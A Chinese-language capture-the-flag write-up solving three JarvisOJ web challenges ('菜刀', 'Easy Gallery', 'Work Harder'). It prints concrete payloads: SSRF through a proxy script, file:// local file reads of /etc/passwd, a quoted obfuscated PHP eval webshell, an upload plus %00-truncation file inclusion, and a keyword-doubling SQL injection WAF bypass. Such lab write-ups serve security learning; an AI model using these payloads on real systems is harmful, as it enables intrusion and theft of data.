Jarvisoj平台部分WriteUP
1.菜刀
http://web.jarvisoj.com:32782
考点:SSRF,文件包含(非预期)
主页只有一张菜刀图片和管理员登陆链接,点击管理员登陆,跳转至http://web.jarvisoj.com:32782/admin,提示“you are not admin”,遂查看源码,发现提示:
推测服务器通过ip地址识别管理员身份。
返回首页,查看源码,发现菜刀图片链接:
proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg
通过proxy.php可访问外部链接,尝试
proxy.php?url=http://www.baidu.com
成功返回baidu页面。
尝试文件包含:
http://web.jarvisoj.com:32782/proxy.php?url=php://filter/read=convert.base64-encode/resource=index.php
失败。
访问 http://202.5.19.128/,返回403禁止访问,同时说明该ip存在web服务。综合以上信息,构造payload
http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/
返回“you are closing”
burp爆破网/admin/,发现robots.txt文件
url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/robots%2etxt
返回:
User-agent: *
Disallow:trojan.php
Disallow:trojan.php.txt
查看
url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/trojan.php.txt
发现一句话木马
"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));?>
本地运行,提示
Warning: assert(): Assertion "eval($_POST[360])" failed in /Applications/MAMP/htdocs/tor.php on line 1
一句话木马参数为360,发送post数据:“360=phpinfo();”,直接返回了FLAG
flag:CTF{fl4g_1s_my_c40d40_1s_n0t_y0urs}
非预期解
使用file://伪协议读本地文件,首先尝试file:///etc/passwd
http://web.jarvisoj.com:32782/proxy.php?url=file:///etc/passwd
返回/etc/passwd,说明file://被过滤,尝试大小写绕过
http://web.jarvisoj.com:32782/proxy.php?url=File:///etc/passwd
回显成功。能够进行本地文件读取,考虑怎么读到之前发现的/admin/目录,尝试使参数报错,暴出绝对路径。
http://web.jarvisoj.com:32782/proxy.php?url=aa
返回报错信息:Notice: Undefined offset: 2 in /opt/lampp/htdocs/proxy.php on line 53,由此获得网站根目录,拼接admin目录:/opt/lampp/htdocs/admin/index.php和index.html
http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/admin/index.php
返回you are closing。同样,爆破目录,发现robot.txt
http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/admin/robots.txt
返回:User-agent: * Disallow:trojan.php Disallow:trojan.php.txt
之后做法与预期解相同。
2.Easy Gallery
http://web.jarvisoj.com:32785
考点:文件上传,文件包含,%00截断后缀
a. Submit页面
只允许上传图片,上传正常jpg文件,通过burp拼接php语句,成功上传。
b. view页面
view页面url:
http://web.jarvisoj.com:32785/index.php?page=view
POST输入id和type后,自动跳转到show页面,可正常显示图片。
http://web.jarvisoj.com:32785/show.php?id=1554777150&type=jpg
网页源码中,找到文件路径
可看出上传成功,且知道文件名,可直接通过该链接http://web.jarvisoj.com:32785/uploads/1554777150.jpg访问图片,但无法用当做php文件解析。
考虑两个点:
1.通过view页面url使用php://filter等方法直接读文件
2.通过文件包含解析“/uploads/1554777150.jpg”中的php代码。
尝试文件包含读源码
http://web.jarvisoj.com:32785/index.php?page=php://filter/read=convert.base64-encode/resource=./index
Cross domain forbidden!
尝试目录穿越:
http://web.jarvisoj.com:32785/index.php?page=../../../../../../etc/passwd
Warning: fopen(../../../../../../etc/passwd.php): failed to open stream: No such file or directory in /opt/lampp/htdocs/index.php on line 24
No such file!
这里曝出了网站根目录,同时发现$GET[page]参数被拼接了.php后缀名。
再次尝试直接读源码:
http://web.jarvisoj.com:32785/index.php?page=/opt/lampp/htdocs/index
You should not do this!
尝试读取上传的jpg
http://web.jarvisoj.com:32785/index.php?page=/opt/lampp/htdocs/index/uploads/1554777150.jpg
Warning: fopen(uploads/1554777150.jpg.php): failed to open stream: No such file or directory in /opt/lampp/htdocs/index.php on line 24
No such file!
文件路径被拼接为:uploads/1554777150.jpg.php,想到用%00截断php后缀:
http://web.jarvisoj.com:32785/index.php?page=/opt/lampp/htdocs/index/uploads/1554777150.jpg%00
You should not do this!
发现返回内容与直接读取index.php相同,猜测是否使php标签被禁?
上传正常的jpg文件,可以访问成功,验证了php标签被禁的想法,遂更换php标签格式为:
并通过%00截断后缀名实现文件包含
/index.php?page=uploads/1554781165.jpg%00
得到flag
CTF{upl0ad_sh0uld_n07_b3_a110wed}
3.Work Harder
http://web.jarvisoj.com:32780/index.php?id=1
考点:php弱类型,file_get_contents(php://input,r)读取POST数据,%00%00绕过strlen长度判断,sql注入bypass
查看源码,发现index.phps文件,经整理内容如下:
5
and eregi("111".substr($b,0,1),"1114")
and substr($b,0,1)!=4)
{
require("flag.txt");
}
else { print "work harder!harder!harder!"; }
?>
分析源码,当上传参数满足if条件时,能够得到Flag,代码中涉及比较时用的都是“==”,可能存在php弱类型漏洞。 有id、a、b 3个参数需要绕过判断。
在本地搭建环境,输出变量值做测试:
a. id与整数0比较,可直接传字符串绕过
?id=abc
b. 参数a被用作file_get_contents函数的参数,读取的文件内容需为指定字符串,使用php://input绕过
&a=php://input
[postdata] 1112 is a nice lab!
c. 参数b绕过,b为空即可绕过eregi和substr两个判断,但是strlen($b)>5无法绕过,尝试传长度>5的数组,返回值为null。
查找php手册中substr函数说明,发现提示
Note:
strlen() returns the number of bytes rather than the number of characters in a string.
strlen函数计算的是字节数,是否可以用%00和%0a特殊字符绕过,尝试
b=%00%00%00%00%00%00
成功。于是组合payload:
POST /index.php?id=abc&b=%00%00%00%00%00%00&a=php://input
1112 is a nice lab!
返回提示信息:
Come ON!!! {/^HT2mCpcvOLf}
Get请求/^HT2mCpcvOLf路径,跳转至 http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=1,加单引号测试,返回sql查询语句如下:
SELECT * FROM content WHERE id=1‘
使用burp爆破waf,使用双写绕过关键词过滤,使用/*1*/绕过空格过滤,使用union注入。最后的payload如下:
http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=-1/*1*/ununionion/*1*/selselectect/*1*/1,2,group_concat(id,context,title)/*1*/frfromom/*1*/content#
得到flag:CTF{Fin4lly_U_got_i7_C0ngRatulation5}